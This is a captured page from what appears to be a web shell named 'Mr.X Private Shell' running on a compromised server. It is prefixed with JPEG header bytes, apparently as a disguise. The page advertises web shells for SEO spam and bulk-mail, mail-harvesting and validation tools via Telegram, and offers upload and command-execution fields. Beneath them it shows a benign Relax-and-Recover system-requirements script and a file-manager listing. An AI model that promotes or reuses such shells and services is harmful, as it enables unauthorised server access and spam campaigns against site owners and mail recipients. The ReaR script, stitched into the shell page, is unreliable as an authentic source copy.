����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# Purpose of this script is to create a file which contains
# the minimal system requirements we need to recreate this
# system in a remote DRP site
# Output file: /var/lib/rear/sysreqs/Minimal_System_Requirements.txt
# This is just for your information and the output is nowhere else
# used by ReaR whatsoever.

# `rear mkopalpba' creates a system where some information gathered below is missing (and not useful anyway): skip it.
[[ "$WORKFLOW" == "mkopalpba" ]] && return 0

test -d $VAR_DIR/sysreqs || mkdir -m 755 $VAR_DIR/sysreqs

{
echo
# Not every system has a hostname command
if hash hostname 2>/dev/null; then
    echo $( hostname ) - $( date '+%F %R' )
else # use uname as alternative to retrieve the host name
    echo $( uname -n ) - $( date '+%F %R' )
fi
echo

#
# OS information
#
echo "Operating system:"
if test -f /etc/SuSE-release ; then
    # lsb_release does not contain minor version (SP version) in SLE
    # get OS version from /etc/SuSE-release
    OSVER=$( head -1 /etc/SuSE-release )
    # get OS patchlevel (SP) from /etc/SuSE-release
    OSLEVEL=$( grep PATCHLEVEL /etc/SuSE-release  | cut -d= -f2 )
    echo "${OSVER} SP${OSLEVEL}"
elif test -f /etc/redhat-release ; then
    cat /etc/redhat-release
elif test -f /etc/rear/os.conf ; then
    # The following 2 variables are listed as an example, and are already known by ReaR
    # OS_VENDOR=RedHatEnterpriseServer
    # OS_VERSION=6
    echo "${OS_VENDOR} ${OS_VERSION}"
else
    /usr/bin/lsb_release  --short --description
fi

echo
echo "Relax-and-Recover version:"
if test -f /usr/sbin/rear ; then
    /usr/sbin/rear -V
elif test -f ./usr/sbin/rear ; then # installed in user home directory
    ./usr/sbin/rear -V
fi
echo

#
# CPU & Memory information
#
# determine the amount of memory in MiB the system had
# (this excludes kernel memory (how to determine this?))
memory_in_kB=$( grep MemTotal /proc/meminfo | cut -d: -f2 | sed 's/kB//' )

grep 'model name' /proc/cpuinfo #f.e. model name : Intel(R) Atom(TM) CPU  E3815  @ 1.46GHz
grep 'cpu cores' /proc/cpuinfo  #f.e. cpu cores  : 1
echo "$(( memory_in_kB / 1024 )) MiB of physical memory"
echo

#
# VG information
#
if hash vgs 2>/dev/null; then
    echo "Volume Group info:"
    vgs --units=g
    echo
fi
if hash lvs 2>/dev/null; then
    echo "Logical Volume Groups info:"
    lvs --units=g
    echo
fi

#
# Disk information
#
echo "Disk space requirements:"
while read junk dev size label
do
   echo "Device $dev has a size of $((size/1024/1024/1024)) Gib (label $label)"
done < <(grep "^disk" "$LAYOUT_FILE")
echo

#
# Network information
#
echo "Network Information:"
echo "  IP addresses:"
# FIXME: it seems that can go wrong for IPv6 addresses
# perhaps <<ip -4 addr show>> is meant or <<grep 'inet'>> to exclude inet6
# or when IPv6 should be included it should be <<sed ... -e "s/inet6//" -e "s/inet//" >>
# or whatever?
# I <jsmeix@suse.de> gues that IPv6 should be included (i.e. I added -e "s/inet6//").
# Furthermore I do not know if additional stuff like "scope global temporary dynamic"
# is intended in the output, if not it should be <<while read ip junk ; do>>
# to get rid of such additional stuff (for now I keep that additional stuff).
# Finally I do not know if "... DNS name" should be output when there is no DNS name.
# If "... DNS name" should not be output when there is no DNS name
# a test whether or not <<$( dig +short -x ${ip%/*} )>> is empty would help.
ip addr show | grep inet | grep -v 127.0.0. | sed -e "s/ brd.*//" -e "s/inet6//" -e "s/inet//" | while read ip ; do
    if hash dig 2>/dev/null; then
        DNSname="$( dig +time=1 +tries=1 +short -x ${ip%/*} )"
    else
        DNSname=""
    fi
    if test -z "$DNSname" ; then
        echo "    ip ${ip%/*} subnet /${ip#*/}"
    else
        echo "    ip ${ip%/*} subnet /${ip#*/} DNS name $DNSname"
    fi
done

echo "  Default route:"
# default route
ip route show | grep default | cut -d' ' -f3 | sed -e "s/^/    /"
echo

} >$VAR_DIR/sysreqs/Minimal_System_Requirements.txt


Filemanager

Name Type Size Permission Actions
220_load_modules_from_initrd.sh File 1.3 KB 0644
230_storage_and_network_modules.sh File 1.7 KB 0644
240_kernel_modules.sh File 1.08 KB 0644
250_udev.sh File 449 B 0644
260_collect_initrd_modules.sh File 295 B 0644
260_storage_drivers.sh File 114 B 0644
290_kernel_cmdline.sh File 3.43 KB 0644
295_configure_ramdisk_rootfs.sh File 542 B 0644
300_dns.sh File 267 B 0644
310_network_devices.sh File 36.46 KB 0644
320_inet6.sh File 121 B 0644
350_routing.sh File 3.65 KB 0644
390_check_usb_modules.sh File 270 B 0644
410_use_xen_console.sh File 222 B 0644
500_clone_keyboard_mappings.sh File 6.97 KB 0644
550_copy_ldconfig.sh File 307 B 0644
950_cfg2html.sh File 1 KB 0644
960_collect_MC_serviceguard_infos.sh File 1.12 KB 0644
990_sysreqs.sh File 3.91 KB 0644